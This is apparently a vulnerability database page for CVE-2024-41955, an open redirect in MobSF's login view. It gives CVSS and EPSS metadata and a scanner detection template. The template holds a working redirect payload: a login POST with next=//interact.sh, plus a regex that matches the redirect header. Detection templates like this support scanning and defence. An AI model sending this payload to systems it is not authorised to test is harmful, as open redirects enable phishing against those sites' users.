SecurityContext

CVE-2024-41955: Open Redirect in Login Redirect - MobSF

Classification

  • Cwe: CWE-601
  • Cvss score: 5.2
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:N
  • Epss score: 0.01
  • Epss percentile: 0.63691
  • Not known: cpe

Metadata

  • Fofa-query: MobSF
  • Max-request: 1
  • Product: mobsf
  • Vendor: mobsf
  • Verified: yes

Products

ProductIndexedUrl
mobsf:mobsfno—

Labels

  • Name: MobSF - Open Redirect
  • Impact: Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.
  • Remediation: Implement proper validation and sanitization of redirect URLs in the authentication view.
  • Vulnerability type: open_redirect
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-41955
  • Checked, none or zero: vulnerability impact
  • Not known: requirements

```yaml

id: CVE-2024-41955

info:

name: Open Redirect in Login Redirect - MobSF

author: Farish

severity: medium

description: |

Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.

remediation: |

Update Mobile Security Framework (MobSF) to the latest version that includes the fix from commit fdaad81.

impact: |

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks.

reference:

- https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/fdaad81314f393d324c1ede79627e9d47986c8c8

- https://nvd.nist.gov/vuln/detail/CVE-2024-41955

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41955

- https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8m9j-2f32-2vx4

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:N

cvss-score: 5.2

cve-id: CVE-2024-41955

cwe-id: CWE-601

epss-score: 0.01

epss-percentile: 0.63691

metadata:

max-request: 1

verified: true

vendor: mobsf

product: mobsf

fofa-query: "MobSF"

tags: cve,cve2024,open-redirect,mobsf,authenticated,vuln

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

- |

POST /login/?next=//interact.sh HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}

host-redirects: true

matchers:

- type: regex

part: header_2

regex:

- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'

digest: 4b0a00483046022100a4e7d7e7a0bc7bc09cc3143bb4d404fe6f466801756031cefe893183ba8bd931022100afc32df275adc746c930105100224f8896b4c56dbc4d945035084b0d2882bd16:922c64590222798bb761d5b6d8e72950

```